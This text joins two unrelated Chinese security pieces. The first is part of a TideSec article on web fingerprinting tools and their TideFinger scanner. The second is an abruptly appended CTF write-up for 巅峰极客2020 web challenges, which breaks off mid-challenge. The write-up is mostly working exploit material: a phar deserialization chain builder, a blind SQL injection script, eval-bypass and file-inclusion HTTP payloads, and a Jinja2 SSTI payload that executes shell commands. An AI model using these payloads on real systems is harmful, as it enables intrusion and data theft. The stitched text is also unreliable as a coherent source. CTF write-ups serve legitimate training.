[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#whatruns%E6%8E%A8%E8%8D%90%E6%8C%87%E6%95%B0)**Whatruns（推荐指数★★★★）**
Whatruns是为chrome开发的一款web指纹识别程序，还可以显示托管的CDN、wordpress插件、wordpress字体等，拥有丰富的插件支持。
跟Wappalyzer安装类似，Whatruns可直接在chrome应用商城直接搜索安装。
安装完成后，通过插件图标来获取服务的详细运行信息，效果如下。有时候信息会比Wapplyzer还详细一些，但有时候获取速度稍慢。
[](https://github.com/TideSec/TideFinger/blob/master/images/008.png)
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#plecost%E6%8E%A8%E8%8D%90%E6%8C%87%E6%95%B0)**Plecost（推荐指数★★★）**
下载地址：<https://github.com/iniqua/plecost>
Plecost是Wordpress博客引擎的漏洞指纹识别和漏洞查找器，能识别Wordpress版本并能查找到cve，不过访问不了google的话可能有些功能就受限了。Plecost基于python架构，利用了Beautiful
Soup来解析html、xml文件识别网站使用的插件及版本。
使用也比较方便 plecost -i /usr/share/plecost/wp_plugin_list.txt
<http://www.freebuf.com>
[](https://github.com/TideSec/TideFinger/blob/master/images/007.png)
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#blindelephant%E6%8E%A8%E8%8D%90%E6%8C%87%E6%95%B0)**BlindElephant（推荐指数★★）**
下载地址：<https://github.com/lokifer/BlindElephant>
BlindElephant是一款Web应用程序指纹识别工具。该工具可以读取目标网站的特定静态文件，计算其对应的哈希值，然后和预先计算出的哈希值做对比，从而判断目标网站的类型和版本号。目前，该工具支持15种常见的Web应用程序的几百个版本。同时，它还提供WordPress和Joomla的各种插件。该工具还允许用户自己扩展，添加更多的版本支持。
不过该软件最新更新是在2013年，插件库应该算比较旧的了。
下载及安装可参考<https://github.com/lokifer/BlindElephant>，kali中已经内置。
使用命令：BlindElephant.py <http://www.freebuf.com> wordpress
[](https://github.com/TideSec/TideFinger/blob/master/images/010.png)
### 国内指纹识别工具
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#%E5%BE%A1%E5%89%91web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E7%A8%8B%E5%BA%8F)**御剑web指纹识别程序**
下载地址：<https://www.webshell.cc/4697.html>
御剑web指纹识别程序是一款CMS指纹识别小工具，该程序由.NET
2.0框架开发，配置灵活、支持自定义关键字和正则匹配两种模式、使用起来简洁、体验良好。在指纹命中方面表现不错、识别速度很快、但目前比较明显的缺陷是指纹的配置库偏少。
windows下图形界面，比较亲民，扫描速度略慢，指纹库略少，可手工更新。
[](https://github.com/TideSec/TideFinger/blob/master/images/012.png)
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#test404%E8%BD%BB%E9%87%8Fweb%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB)**Test404轻量WEB指纹识别**
下载地址：<https://www.test404.com/post-1618.html>
Test404轻量WEB指纹识别程序是一款CMS指纹识别小工具，配置灵活、支持自行添加字典、使用起来简洁、体验良好。在指纹命中方面表现不错、识别速度很快。可手动更新指纹识别库，而且该软件在2019.04月刚刚更新了一版。
[](https://github.com/TideSec/TideFinger/blob/master/images/016.png)
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#w11scan%E5%88%86%E5%B8%83%E5%BC%8Fweb%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E5%B9%B3%E5%8F%B0)**w11scan分布式WEB指纹识别平台**
w11scan是一款分布式的WEB指纹识别系统（包括CMS识别、js框架、组件容器、代码语言、WAF等等），管理员可以在WEB端新增/修改指纹，建立批量的扫描任务，并且支持多种搜索语法。
安装和下载可参考：<https://github.com/w-digital-scanner/w11scan>
手工安装稍微复杂，不过作者提供了docker部署，方便很多，使用了Mongodb，内置了1800多条常见的指纹，可以识别多达538种常见CMS，当然也可以手工添加指纹。
[](https://github.com/TideSec/TideFinger/blob/master/images/013.png)
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#dayu%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7)**Dayu指纹识别工具**
下载地址：<https://github.com/Ms0x0/Dayu>
“大禹”为一款c/s结构jar文件工具，只需本地安装java环境，加参数-u即可，具体设置参数可参考github介绍。
[](https://github.com/TideSec/TideFinger/blob/master/images/011.png)
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#webeye)**WebEye**
下载地址：<https://github.com/zerokeeper/WebEye/>
WebEye可快速简单地识别WEB服务器类型、CMS类型、WAF类型、WHOIS信息、以及语言框架，使用异步实现指纹的快速识别。
识别速度比较快，不过指纹库不是很多，指纹库不是基于md5之类的，而是类似于fofa通过http头信息、关键字等进行快速识别。
作者对指纹进行了分类，如摄像头、waf、cdn、网络设备等，很多指纹都是精心搜集的。
[](https://github.com/TideSec/TideFinger/blob/master/images/014.png)
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#wtf_scan)**WTF_Scan**
下载地址：<https://github.com/dyboy2017/WTF_Scan>
WTF团队出品的指纹识别平台，包括的功能也相对比较多，除了指纹识别外，还有DNS解析、子域名、CDN、端口扫描、敏感目录等。
不过就单独说指纹规则来说，不算很多，可以自己添加完善，在WTF_Scan/wtf/app/api/cms/cms.txt文件中进行指纹修改。
[](https://github.com/TideSec/TideFinger/blob/master/images/015.png)
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#webfinger)**Webfinger**
基于fofa的规则库进行快速检索，大约2000+条指纹数据，位于lib/web.db可自行添加修改。
下载地址：<https://github.com/se55i0n/Webfinger>
类似的还有个CM<SCANhttps://github.com/cuijianxiong/cmscan/>
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#fingerprint)**FingerPrint**
好像是百度的一个MM用perl写的一款工具，调用Wappalyzer模块进行指纹识别。
下载地址：<https://github.com/tanjiti/FingerPrint>
###
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#%E5%9C%A8%E7%BA%BF%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB)在线指纹识别
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#%E4%BA%91%E6%82%89%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB)**云悉指纹识别**
<http://www.yunsee.cn/>
指纹库很强大，速度也很快，我们前端还仿了下云悉的界面，免费服务，还能提供api接口！
如果指纹能开源就好了，哈哈~~
[](https://github.com/TideSec/TideFinger/blob/master/images/019.png)
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#bugscaner%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB)**bugscaner指纹识别**
<http://whatweb.bugscaner.com/look/>
目前好像指纹比较少，很多都识别不出来了。
[](https://github.com/TideSec/TideFinger/blob/master/images/018.png)
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#whatwebnet)**whatweb.net**
<https://whatweb.net/>
之前功能还不错，现在好像只能查看到header信息了。
[](https://github.com/TideSec/TideFinger/blob/master/images/017.png)
## TideFinger
上面介绍了那么多超级工具，都不好意思写自己做的小破烂东西了…大佬们可以关掉本页面了…
通过对各种识别对象、识别方法、识别工具的分析，发现大家的指纹库各式各样，识别方式也是各有千秋，传统的md5、url路径的方式居多，识别header信息的也是不少，但没有一个能集众家之长的小工具。
于是我们就做了一个小工具TideFinger
https://github.com/TideSec/TideFinger
### 指纹库整理
我们搜集了上面所有的指纹软件，从中提取了指纹库，进行了统一的格式化处理并进行去重，最终得到了一个大约2078条的传统指纹库。本来想把fofa的库也合并进来，发现格式差异有些大，便保持了fofa指纹库，并把WebEye的部分指纹和fofa指纹进行了合并。这样就保留了两个指纹库，其中cms指纹库为传统的md5、url库，大约2078条指纹，可通过关键字、md5、正则进行匹配，fofa库为2119指纹，主要对Header、url信息进行匹配。
[](https://github.com/TideSec/TideFinger/blob/master/images/020.png)
###
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#%E6%8C%87%E7%BA%B9%E5%BA%93%E4%BC%98%E5%8C%96)指纹库优化
在对指纹库整理去重后，对每个指纹进行了命中率的标识，当匹配到某个指纹时该指纹命中率会加1，而在使用指纹时会从优先使用命中率高的指纹。
然后我们从互联网中爬取了10W个域名进行了命中率测试，然后对一些误报率比较高的指纹进行了重新优化，得到了一份相对更高效的指纹库。
[](https://github.com/TideSec/TideFinger/blob/master/images/024.png)
###
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#%E6%9C%AA%E7%9F%A5%E6%8C%87%E7%BA%B9%E5%8F%91%E7%8E%B0)未知指纹发现
目前新指纹的识别基本还是靠人工发现然后分析规则再进行添加，所以各平台都有提交指纹的功能，但是我们没有这种资源，只能另想办法。
于是想到了一个比较笨的方法：从网站中爬取一些静态文件，如png、ico、jpg、css、js等，提取url地址、文件名、计算md5写入数据库，这样再爬下一个网站，一旦发现有相同的md5，就把新的url也加入到那条记录中，并把hint值加1，这样爬取10W个站点后，就能得到一个比较客观的不同网站使用相同md5文件的数据了。
获取链接代码部分
excludeext = ['.png', '.ico', '.gif','.svg', '.jpeg','js','css','xml','txt']
def getPageLinks(url):
try:
headers = requests_headers()
content = requests.get(url, timeout=5, headers=headers, verify=False).text.encode('utf-8')
links = []
tags = ['a', 'A', 'link', 'script', 'area', 'iframe', 'form'] # img
tos = ['href', 'src', 'action']
if url[-1:] == '/':
url = url[:-1]
try:
for tag in tags:
for to in tos:
link1 = re.findall(r'<%s.*?%s="(.*?)"' % (tag, to), str(content))
link2 = re.findall(r'<%s.*?%s=\'(.*?)\'' % (tag, to), str(content))
for i in link1:
links.append(i)
for i in link2:
if i not in links:
links.append(i)
except Exception, e:
print e
print '[!] Get link error'
pass
return links
except:
return []
有兴趣的可以查看具体代码<https://github.com/TideSec/TideFinger/blob/master/count_file_md5.py>文件。
爬取的结果如下：
[](https://github.com/TideSec/TideFinger/blob/master/images/021.png)
当然了，里面肯定很多都属于误报，比如上图中第一个其实是个500错误页面，所以出现的比较多，第二个是政府网站最下边那个常见的“纠错”的js，所以用的也比较多…
经过一些分析整理也发现了一些小众的CMS和建站系统的指纹，比如三一网络建站系统的newsxx.php，比如大汉JCM的jhelper_tool_style.css等等，后续会持续把这些新的指纹丰富到指纹库中去。
###
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E8%84%9A%E6%9C%AC)指纹识别脚本
有了指纹库之后，识别脚本就相对比较简单了，已有的一些也都比较成熟了，直接使用了webfinger和whatcms的部分代码并进行了整合优化，于是就有了TideFinger。
1、功能逻辑都比较简单，先用fofa库去匹配，然后获取一定banner，如果banner中识别除了cms，则返回结果，如果未识别到cms，则会调用cms规则库进行匹配各规则。
2、脚本支持代理模式，当设置了-p参数，且proxys_ips.txt文件包含代理地址时，脚本会随机调用代理地址进行扫描，以避免被封ip，不过这样的话效率可能会低一些。毕竟搜集的免费代理质量还是差一些，速度会慢很多。有钱人可以找收费代理池，然后每个规则都用不同代理去请求，这样肯定不会被封！
代理地址的搜集可以使用我修改的另一个代理池<https://github.com/TideSec/Proxy_Pool>，提供了自动化的代理ip抓取+评估+存储+展示+接口调用。
3、经测试，一般网站把所有指纹跑一遍大约需要30秒时间，个别的网站响应比较慢的可能耗时更长一些，可以通过设置网站超时时间进行控制。
安装python2依赖库
pip install lxml
pip install requests
pip install bs4
说明：sqlite3库在Python 2.5.x 以上版本默认自带了该模块，如提示sqlite3出错请自行排查。
执行脚本
$ python TideFinger.py
Usage: python TideFinger.py -u http://www.123.com [-p 1] [-m 50] [-t 5]
-u: 待检测目标URL地址
-p: 指定该选项为1后，说明启用代理检测，请确保代理文件名为proxys_ips.txt,每行一条代理，格式如: 124.225.223.101:80
-m: 指纹匹配的线程数，不指定时默认为50
-t: 网站响应超时时间，默认为5秒
指纹识别界面如下：
[](https://github.com/TideSec/TideFinger/blob/master/images/022.png)
###
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E5%B9%B3%E5%8F%B0)指纹识别平台
在有了指纹库和识别脚本之后，我们想继续完善下这个功能，于是又加入了其他一些功能，有了这个在线指纹查询平台[http://finger.tidesec.net](http://finger.tidesec.net/)。
开始想加的很多，但后来在速度和时间方面不得不进行了一定的取舍，于是就有了目前如下的功能。
1、网站信息：网站标题、状态码、302跳转信息等；
2、IP地址信息：IP归属地、IP服务商信息、GPS信息；
3、CDN识别：对目标是否使用CDN进行检测，但目前CDN识别指纹还不多，对部分识别出使用CDN的目标还会列出来CNAME；
4、中间件识别：主要通过http头信息中的XPB、server等字段获取中间件信息，如nginx、iis、tomcat等；
5、更多banner：主要是调用了whatweb和Wapplyzer进行更多banner信息的获取，如jquery、bootstrap等；
6、操作系统识别：识别比较简单，通过ttl值和文件大小写是否敏感…用nmap去识别的话速度太慢…
7、本来还加入了子域名发现、端口扫描和waf探测等等，但发现耗时相对较长，而且比较容易被封IP，所以又去掉了。
团队没有专门做前端的，看云悉界面比较美观，所以就参考了云悉和WTF_Scan的界面布局，大佬不要打我们…使用了TP5框架，因为平台的功能都比较low，以防被喷就不放源码了。
大家可以试用下，给我们提提意见[http://finger.tidesec.net](http://finger.tidesec.net/)
注册需要验证码，关注下我们公众号回复“潮汐指纹”即可被逼拉流量O(∩_∩)O哈哈
[](https://github.com/TideSec/TideFinger/blob/master/images/023.png)
## 待解决的问题
1、指纹库的继续完善：这是个旷日持久的工作，希望能坚持下去，我们也会持续的开源最新指纹库，希望大家手头有好的资源也可以贡献出来。
2、代理问题：虽然集成了代理功能，但经实际使用来看，搜集的免费代理质量还是差一些，速度会慢很多。
3、IP会被封：有的网站防护对目录枚举或一些路径非常敏感，会封IP地址；
4、下一步尝试对http头进行语义分析，从海量网站中提取分析header的共性，更高效的发现未知指纹；
5、因为穷，所以目前还是单节点进行指纹的识别，如果是第三步进入常规目录检测的方式的话可能速度会比较慢。
## 参考资料
在指纹库搜集和脚本开发过程中，查阅了大量资料，下面列举的可能不全，在此一并感谢这些无私奉献的安全研究者。
<https://www.freebuf.com/articles/2555.html>
<https://blog.51cto.com/simeon/2115190>
<https://www.freebuf.com/news/137497.html>
<https://www.freebuf.com/articles/web/129939.html>
<https://www.freebuf.com/sectool/135216.html>
<https://www.test404.com/post-1299.html?wafcloud=1>
<https://github.com/se55i0n/Webfinger>
<https://github.com/tanjiti/FingerPrint>
<https://github.com/dyboy2017/WTF_Scan>
<https://github.com/zerokeeper/WebEye/>
<https://github.com/Ms0x0/Dayu>
<https://github.com/w-digital-scanner/w11scan>
<https://www.webshell.cc/4697.html>
<https://github.com/lokifer/BlindElephant>
<https://github.com/iniqua/plecost>
<https://github.com/AliasIO/Wappalyzer>
<https://github.com/urbanadventurer/WhatWeb>
###
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#%E5%B0%8F%E7%A6%8F%E5%88%A9)小福利
1、指纹检测工具下载
我们把上面的13款指纹识别工具和搜集到的一些论文资料进行了汇总打包，大家可以直接下载。
下载地址：<https://pan.baidu.com/s/190K34cwjAWDUMLtR8EWvNA> 提取码：5y4o
解压密码[www.tidesec.net](www.tidesec.net)
后续如有更新，会在我们公众号TideSec安全团队上提供下载，回复“指纹工具”即可获取最新指纹识别工具下载地址。
2、指纹库下载
我们在GitHub上提供的是2019年4月的指纹库（还未进行大量的命中率测试），后续我们还会优化调整命中策略、未知指纹识别方法，持续更新优化指纹库。
最新指纹库的下载请关注我们公众号TideSec安全团队，回复“指纹库”即可获取最新指纹库下载地址。
###
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#%E5%85%B3%E6%B3%A8%E6%88%91%E4%BB%AC)关注我们
TideSec安全团队：
Tide安全团队正式成立于2019年1月，是以互联网攻防技术研究为目标的安全团队，目前聚集了十多位专业的安全攻防技术研究人员，专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队，请关注团队官网: [http://www.TideSec.net](http://www.tidesec.net/)
或关注公众号：
[](https://github.com/TideSec/TideFinger/blob/master/images/ewm.png) | 社区文章 |
# 巅峰极客2020Web
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
u1s1这次巅峰极客比赛质量真不错，有一题用到了LFI包含php自带文件从而直接RCE的地方，LFI到RCE的道路被大大的缩短
## babyphp2
扫描目录得到源码
[11:00:52] 200 - 68B - /index.php
[11:00:53] 200 - 68B - /index.php/login/
[11:01:33] 200 - 583B - /login.php
[11:03:57] 403 - 335B - /server-status
[11:04:19] 403 - 336B - /server-status/
[11:05:21] 200 - 422B - /upload.php
[11:05:22] 403 - 329B - /upload/
[11:05:41] 301 - 383B - /upload -> http://eci-2ze5jqyhfniloont8y3x.cloudeci1.ichunqiu.com/upload/
[11:06:20] 200 - 4KB - /www.zip
阅读代码发现有上传点和一堆文件操作函数，很容易想到phar反序列化
阅读代码构造反序列化链：`dbCtrl::__destruct->User::__toString->Reader::__set`
<?php
Class Reader{
public $filename;
public $result;
public function __construct(){
}
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public $backup;
public function __construct(){
$this->backup="/flag";
$this->nickname=new Reader();
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="p3rh4ps";
public $dbpass="p3rh4ps";
public $database="p3rh4ps";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct(){
$this->token=new User();
}
}
$a = new dbCtrl();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,phar伪协议不用phar后缀
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,只要后面部分为__HALT_COMPILER();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
compress.zlib://phar://phar.phar/test.txt绕过限制
## babyback
对check接口进行测试发现sql在诸如
check.php 过滤了： `",',-,=,;,select`
利用`\` 来转移引号从而逃脱引号包围： `username=aaaa\&password= /sleep(5)%23bbbb`存在sql注入
盲注脚本：
import requests
import time
#修改bigger和sqlinj就好
#实现bigger才能使用
def findByDichotomy(begin,end):
max_num=end
while True:
mid=int((begin+end)/2)
if begin==max_num:
return False
if begin==end:
return begin
if end-begin==1:
if bigger(begin):
return end
else:
return begin
if bigger(mid):
begin=mid+1
else:
end=mid
#待求数据大于num
def bigger(num):
return sqlinj(num)
def less(num):
pass
def equal(num):
pass
def sqlinj(num):
burp0_url = "http://eci-2ze91js64coeqpjda9u8.cloudeci1.ichunqiu.com:80/check.php"
burp0_cookies = {"UM_distinctid": "174b11256cb2fd-030f86f83a6db3-333769-240000-174b11256cd6f1", "chkphone": "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O", "Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1600698604,1601088882", "Hm_lpvt_2d0601bd28de7d49818249cf35d95943": "1601094598", "PHPSESSID": "rctopt4e8mjrphj5dj74futmo7", "__jsluid_h": "16ef3109bf60c11c79ef469f3d7cd07e"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://eci-2ze91js64coeqpjda9u8.cloudeci1.ichunqiu.com", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://eci-2ze91js64coeqpjda9u8.cloudeci1.ichunqiu.com/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"username": "aaaa\\", "password": "or ascii(substr(password,{POS},1))>{GUESS}#bbbb".format(POS=pos,GUESS=num)}
r=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
if "<div class='logo'>密码错误</div>" in r.text:
return True
return False
#admin
#uAreRigHt
result=""
pos=len(result)+1
while True:
num=findByDichotomy(32,128)
if num is False:
print(result)
break
result+=chr(num)
print(result)
pos+=1
账号密码
admin
uAreRigHt
登入后进入新的挑战
eval($command."=false");
过滤：;,",', ,|,`,^,\,;,/,*,(,),&,$,#,f,F
虽然过滤了括号，但是我们并不需要任意命令执行，只要能任意文件读取就好了。
但是无法闭合的语句封住了我们读flag的路。这时候只能去找找eval的特性，翻翻文档，读读实现代码来绕过。
在查找php手册中的eval部分时发现：
关于传入语句有一个神奇的特性
代码不能包含打开/关闭 PHP tags。比如， 'echo "Hi!";' 不能这样传入： '<?php echo "Hi!"; ?>'。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'。
于是我们构造`>?`来让`=false`不会被当成php代码。
虽然引号被禁用了，但是我们可以Heredoc 结构来绕过引号限制，用取反来绕过字符限制
最后的payload:
任意文件包含
POST /admin/ HTTP/1.1
Host: eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1600698604,1601088882; UM_distinctid=174b11256cb2fd-030f86f83a6db3-333769-240000-174b11256cd6f1; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1601100971; PHPSESSID=aabua1gfiqc9s8i13u3iqace72; __jsluid_h=89eac162499bc32092c0474accd770c5
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrD05yt5m
Content-Length: 161
------WebKitFormBoundaryrD05yt5m
Content-Disposition: form-data; name="command"
?><?=include<<<DDDD
.bowerrc
DDDD
?>
------WebKitFormBoundaryrD05yt5m--
读取flag
POST /admin/ HTTP/1.1
Host: eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1600698604,1601088882; UM_distinctid=174b11256cb2fd-030f86f83a6db3-333769-240000-174b11256cd6f1; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1601100971; PHPSESSID=aabua1gfiqc9s8i13u3iqace72; __jsluid_h=89eac162499bc32092c0474accd770c5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
command=%3f%3e%3c%3f%3dinclude%7e%3c%3c%3cDDDD%0d%0a%D0%99%93%9E%98%0d%0aDDDD%0d%0a%3f%3e
## babyflask
GET /loged?name=%7B%7B2*2%7D%7D
存在SSTI
模板引擎jinja2
http://eci-2ze3domag0jprtzax0lx.cloudeci1.ichunqiu.com:8888/loged?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27_IterationGuard%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20/flag%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}
拿flag
## MeowWorld
就一个任意文件包含，会在文件名后加一个.php，没啥头绪
后来题目提示register_argc_argv
register_argc_argv TRUE
由于该设置为 TRUE，将总是可以在 CLI SAPI 中访问到 argc（传送给应用程序参数的个数）和 argv（包含有实际参数的数组）。
对于 PHP 4.3.0，在使用 CLI SAPI 时，PHP 变量 $argc 和 $argv 已被注册并且设定了对应的值。而在这之前的版本，这两个变量在 CGI 或者 模块 版本中的建立依赖于将 PHP 的设置选项 register_globals 设为 on。除了版本和 register_globals 设定以外，可以随时通过调用 $_SERVER 或者 $HTTP_SERVER_VARS 来访问它们。例如：$_SERVER['argv']
<https://khack40.info/camp-ctf-2015-trolol-web-write-up/>
找到一个类似的题目，但是他们是用变量覆盖来执行
阅读pearcmd的代码发现：`if (!isset($_SERVER['argv']) && !isset($argv) &&
!isset($HTTP_SERVER_VARS['argv']))`
